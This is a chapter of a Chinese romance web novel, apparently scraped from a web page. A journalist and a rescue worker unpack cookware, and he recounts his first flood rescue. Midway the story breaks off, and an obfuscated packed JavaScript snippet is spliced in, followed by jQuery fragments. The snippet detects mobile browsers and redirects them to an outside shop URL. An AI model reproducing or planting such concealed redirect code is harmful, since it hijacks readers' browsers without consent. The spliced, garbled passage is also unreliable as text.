黎叙闻带着一身情绪过载的疲惫走到家门口，见齐寻正坐在车里等她。
他把两边的车窗都降下来，在驾驶座上坐得板正，表情冷淡，双眼一片虚焦。
仿佛时间从他身上平滑地流过，却忘了将他带走。
黎叙闻一个错眼，觉得他好像已经等了她很久了。
从认识起他就在等她，原先等她去领证，后来等她去暗访，到现在，等她回家。
她眸光微动，走上前去：“齐寻，走吧。”
齐寻脸上漠然的表情瞬间被打碎，扭头对她笑了一下，下车跟她并肩：“靳言说你们见到琳琳了？怎么样？”
“她状态还不错，就是不知道要治疗多久。”
黎叙闻忽然停下脚步：“比起这个，齐寻，我们之前……真的没有见过吗？”
齐寻身形顿住，凝固了一两秒，才转过身，看着她的眼睛。
她微卷的发尾跟着凉爽夕风浮动：“靳言说，你第一笔捐款是以‘文文’的名义捐的，那是谁？”
“第一次正式见面，你就答应了假结婚这么离谱的要求，”她神色里夹杂着些模糊的希冀，问：“这两件事，有什么联系吗？”
如果他们真的有她自己都不记得的关联……这算不算是一种不可多得的缘分？
要真是那样，那……就考虑考虑他的表白……吧？
齐寻下颌绷紧又松开，后颈僵硬着出了一层的汗，被风一吹，凉得他一哆嗦。
他仔细分辨着她的神情，想从里面看出一丝破绽，或者遮掩不住的厌恶来。
可她眼睛里除了他无法理解的期待，什么都没有。
“没有关联。”他赌了一把。
“那是当时录音助理的艺名，”他先一步跨上台阶推开门，把表情遮掩在阴影里：“我随手拿来用了。”
黎叙闻紧张得要飞出胸膛的心脏，一下漏了气。
“那是靳言误会了，”她面无表情地跟上去，进了电梯：“你有机会跟她解释吧。”
齐寻嗯了一声。
电梯的数字一格一格往上蹦，轿厢里响起机械运转的碦啦声，拽着黎叙闻的心一起下沉。
开门之前，他说：“别解释了，也不算错。”
“别啊，”黎叙闻笑了一声，这个暗亏必须从他身上讨回来：“搞得我鸠占鹊巢，占了别人的便宜似的。”
“怎么，你希望我说有？”齐寻轻描淡写：“在期待什么？”
黎叙闻冷笑：“谁期待谁是狗。”
她准备作威作福，把齐寻关在门外，却被一大箱快递挡住了去路。
“这什么？”扭头问齐寻：“你买的？”
“嗯，”齐寻无奈地俯身搬起快递：“锅啊，你日子不过了？”
黎叙闻难以置信：“齐寻……”
“嗯？”
“你该不会是男妈妈吧？”
“……在我翻脸之前赶紧开门。”男妈妈面色铁青：“要不你就自己搬。”
黎叙闻这辈子还没见过这么多种类的锅。
汤锅和炒锅长得不一样就算了，为什么煮鸡蛋和煮牛奶的锅也不是同一个？
她展开比她命都长的品类说明书：“……我觉得我要不认识锅这个字了。”
这很尴尬，因为齐寻也不是什么过日子的人，看他的毛坯房就知道，他就没打算过凡人的生活，只是看这套比较贵，想着一定有贵的道理。
于是两个人蹲在墙还黢黑一片的厨房，脑袋对脑袋，研究这十几个珐琅疙瘩各自是做什么用的。
黎叙闻拿起一只奶锅掂了掂：“这个蛮趁手，你说我再去暗访，能拿这个防身吗？”
齐寻看了一眼：“十年起步。”
黎叙闻乖乖放下了。
“明天你要上班了？”齐寻问她：“我找人来把这面墙处理一下。”
“要不还是把那一块的瓷砖敲了，重新铺得了？”
“不知道，听专业人士的。”
黎叙闻支起身子，盯着他乌黑发顶，忽然笑了。
齐寻研究锅研究得一脑门子官司，听她笑，疑惑地抬头看她。
“我想起来一件不太相干的事，”她弯着眼睛：“我爸我妈刚结婚那会儿，还没我呢，两个人天天玩，也不知道攒钱，结果到冬天了没钱买菜，就偷邻居放在楼道的大白菜吃。”
“等发了工资，实在过意不去，买了两倍的白菜给人家堆在门口，邻居还以为是谁恶作剧，站在门口骂街骂了一晚上，他俩吓得缩在家里，一声也不敢出。”
齐寻盘腿坐在地上，看着她笑语盈盈，也忍不住勾起唇角：“怎么想起这个来？”
“不知道，”黎叙闻神情柔软：“就是觉得，我好像也体验了一把他们那时候鸡飞狗跳的感觉。”
说起这个，她抿着嘴唇低下头，想，如果他们一家三口好好的，爸妈一定都会喜欢齐寻的。
可如果那样，她大概也不会非要当调查记者，也就不会遇到齐寻了。
黎叙闻轻叹一声，伸手去够另一口锅：“不提了。”
齐寻从没听她平心静气提过自己的父亲。
想想那时候在震区，她信誓旦旦：“我爸爸超级爱我”，后来到底发生了什么，让这样的家庭也分崩离析？
他想开口问，又想起跟马颂今吃饭那天，提到父亲时她的反应，终究作罢了。
黎叙闻又道：“明天我去跟社科院那边打个招呼，把咱们抢回来的那套笔记给他们看看，如果发现有价值的选题，我可能又要出差了。你一个人睡这里……”
齐寻默然。
实际上不仅仅是睡觉的问题，他甚至不能一个人呆在这套公寓里，不然今天他就不必在车里一直坐着，等她回家了。
可他更担心黎叙闻顺水推舟，说你伤也好得差不多了，要不你就回去住？
才给她买了十几口珐琅凶器，转头她一不留神，再把房子给点了……
绝对不是他有私心，只是他买的东西他就得负责，对吧？
心里一番接一番的，也不知道在解释给谁听。
“研究好了吧？”他站起身来，不敢听似地：“你去休息，我收拾一下。”
黎叙闻伸手拽住他的手腕。
“不是，我是想说……”她声音里有难得的犹豫：“我是想说，要不要试试录音呢？”
齐寻转身看她。
她坐在地上，昂着下巴，给他比划：“要是你把我睡觉时的呼吸声录下来，我不在家的时候带在身边，会不会好一些？”
入睡后的声音……太过隐私，就像他爸爸的牛角梳，黎叙闻的浴巾，都带有一种亲近暧昧的意味。
虽然她本人都觉得没什么，但这样摊开了说出来，齐寻心口却烧起一阵微妙的星火。
“就今晚吧，”黎叙闻一锤定音：“就辛苦你晚点睡了！”
但最后睡不着的是黎叙闻。
她紧闭着眼睛躺在床上：“开始录没有？”
齐寻坐在她身边整理素材库：“你不是还没睡着么。”
黎叙闻哦一声，继续努力睡，却压不住心里难以言喻的紧张。
她睡着之后呼吸声够平稳吗？好听吗？能不能显示出她甜美安静的形象？
今天挺累的，不会磨牙吧？要是说梦话怎么办？
要不要像网上教的那样，假装发出小动物似的可爱声音，对冲一下她铁血记者的气质，给他一点小小的震撼？
越想越睡不着了。
“齐寻，”她依旧闭着眼睛：“睡不着。”
“那怎么办？”
“不然你讲个故事。”
“……你五岁？”
黎叙闻睁开眼瞪他：“我辛辛苦苦睡觉，是为了谁？”
齐寻嘴角抽搐：“没有我你就不睡了是吧。”
表面上斗着嘴，实际还是老老实实问：“想听什么？”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973332|190916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你会讲什么？”
“龟兔赛跑和丑小鸭。”
“……不然你讲讲你第一次救援的事。”
齐寻合上电脑，表情匪夷所思：“你确定这是睡前故事？听完你就睡不着了。”
那年淫雨绵绵下了一周多，农田村落被淹得七零八落，微光救援的五十名救援人员由纪士诚带队，奔赴灾区。
那个被纪队长带在身边，顶着一张紧绷面孔的少年，就是齐寻。
他始终沉默地坐在队长边上，很少跟别人对视，但到底是少年人，无人注意的时候，他也会好奇地打量冲锋舟，充气艇，还有人人身上都绑着的小臂粗的救援绳。
有人注意到他，笑着跟纪士诚打趣：“纪队，你儿子啊？”
纪队长好脾气地打哈哈：“我要能生出这么帅的儿子，那倒好了。”
齐寻抿着唇角把脸撇向一边，旁人看不见的耳后一片通红。
那次的洪水格外凶猛，洪峰从远处迫不及待地赶来，纪士诚看着山丘一样的水从远处拍来，在岸上嘶吼：“撤！撤退！快！”
队员身子远远探出冲锋舟边缘去拉一个小孩——孩子七八岁，在房顶上哭得满脸是泪。
但就在这时，一个浪头打来，把冲锋舟上的救援队都拍懵了，两秒钟后定神再看，房顶上哪还有孩子的影子！
纪士诚拉紧了不住飘摇的安全绳，在泼天大雨中喊：“抓紧！不要下船，不要——”
他身边蓦地一空，回头一看，身边的齐寻不知什么时候已经不见了！
而此时的齐寻在没顶的洪水里，什么都听不见。
他咬牙睁着眼，身体丝毫不受控制，被洪荒之力裹挟着，飞速向下游流去，一把将孩子捞了过来。
水流卷着烂枝和断木，汹涌地冲他们拍过来，他什么都没来得及想，只堪堪将孩子护在怀里，千钧一发之际背向断木蜷起身，一瞬间的冲击让他猝不及防呛了水，便什么也不知道了。
黎叙闻听得眉头紧皱：“然后呢？救下来了吗？”
“……没有。”
饶是齐寻那样拼命，那个孩子还是没有活下来。
等他清醒已经是几天之后，当时那块漂浮的门板被一颗倒伏的大树挡住，阴差阳错救了他一命。
齐寻在ICU里醒来，肺部感染让他呼吸都困难，他戴着氧气面罩，用气声问纪士诚：“孩子，活了吗？”
纪士诚忍了又忍，才绷着声音说：“没有。”
心率监护仪忽地发出刺耳的鸣叫。
他胸膛剧烈起伏着，脖颈处青筋暴起，肺像被烙铁撑开一样生疼，手指明明脱力，还死死地攥着床单。
值班护士语气不善：“家属，家属出来，病人要休息。”
纪士诚瞪着布满血丝的眼睛，说：“齐寻，记住了，你的命不是你一个人的，做事之前，一定要想清楚。”
后来，齐寻多方打听，也没有打听到那孩子叫什么名字，父母是谁。
于是每年的那一天，无论是出救援任务，还是做防汛培训，齐寻总会抽空，在十字路口摆几样零食，烧几张纸钱。
而距离他明白纪士诚的那句“你的命不是你一个人的”，还要等上许多年。
“所以你现在理解了吗？”黎叙闻侧身面对他，问。
齐寻垂着眼睛，看她被身后灯光勾勒出的绒边：“理解了。”
他的理解，却与纪士诚的教导大相径庭。
黎叙闻拍拍他的小臂，声音开始黏糊：“齐寻，你是一个特别好的人。”
她慢慢闭上眼睛：“所以，你要平安。”
均匀绵长的声音在他身边响起，她瓷白的手指还虚虚搭在他的手腕上。
齐寻打开笔电，循着波形，把她最后那句话从长长的音频中剪出来，放进了专门建的音效库。
“如果你看到的，都不是真的呢，”他用指尖轻轻挑开她唇角发丝：“晚安。”